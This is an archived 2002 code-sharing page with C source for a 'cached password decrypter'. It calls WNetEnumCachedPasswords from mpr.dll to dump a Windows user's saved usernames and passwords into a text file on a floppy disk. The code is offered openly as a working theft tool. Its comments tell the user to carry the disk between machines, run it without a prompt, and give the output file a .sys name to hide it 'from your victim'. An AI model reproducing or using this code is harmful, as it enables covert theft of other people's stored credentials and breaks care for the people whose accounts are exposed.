Advertisement
2002C Security #16391

cached password decrypter

This code decrypts the passwords stored in a person's computer in the file *.pwl. This is where the passwords are stored for anything where someone has used the "save username and password" feature on a program, like internet dial-up. This is the only C source code of its kind at this site!! Please remember to RATE this awesome code!

AI

AI Summary: This codebase represents a historical implementation of the logic described in the metadata. Our preservation engine analyzes the structure to provide context for modern developers.

Source Code
original-source
#include <windows.h>
#include <stdio.h>
typedef struct tagPASSWORD_CACHE_ENTRY {
 WORD cbEntry;						// size of this entry, in bytes
 WORD cbResource;				// size of resource name, in bytes
 WORD cbPassword;				// size of password, in bytes
 BYTE iEntry;						// entry index 
 BYTE nType;							// type of entry
 BYTE abResource[1];			// start of resource name
														// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;
char *buf, *ob1;
															
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
	FILE *fsave;/*Handy info...
				change terces.dat to a:\terces.dat and 
				just put the disk in the computer, run the program
				and then it will be written on the disk for you 
				to take to other computers */
//change the below address if you dont want it to 
//go on a disk
	fsave = fopen("a:\\terces.dat","a");/* You can change this to a specific directory like c:\windows\system, if it is left as it is, the file is created in the same folder as the program was run*/
	/****CLEVER NOTE!****
	If you change that name from terces.dat to something that ends in
	.sys it is automaticly hidden unless you goto veiw, folder options
	and allow to view hidden/system files, this way you can hide is from your victim!
	Remember, open the file terces.dat (or whatever you name it) using
	notepad, everything is in plain viewable text.
	*/
	memmove(buf, x->abResource, x->cbResource);
	buf[x->cbResource] = 0;
	CharToOem(buf, ob1);
	fprintf(fsave,"\n-----------------------------------");
	fprintf(fsave,"\nApperent Username is: \n%-30s\n",ob1);
	memmove(buf, x->abResource+x->cbResource, x->cbPassword);
	
	buf[x->cbPassword] = 0;
	CharToOem(buf, ob1);
	fprintf(fsave,"\nPassword Is:\n%s",ob1 ); 
	fclose(fsave);
	
	return TRUE;
}
void main()
{
	
	buf = new char[1024];
	ob1 = new char[1024];
	puts("\t\t\t Cached info .PWL copier!\n"
		
		"\n\nPress Enter to begin...\n");
	getchar(); //Delete the getchar(); if you don't want to press enter, it will just write it and close in a second.
	HINSTANCE hi = LoadLibrary("mpr.dll");
	if(!hi)
	{
		puts("Couldn't load mpr.dll");
		return;
	}
	
	
	WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = 
		(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
	
	if(!enp)
	{
		puts("Couldn't import function");
		return;
	}
	(*enp)(0,0, 0xff, pce, 0);
	FreeLibrary(hi);
 
printf("Successfully copied!");
}
Original Comments (3)
Recovered from Wayback Machine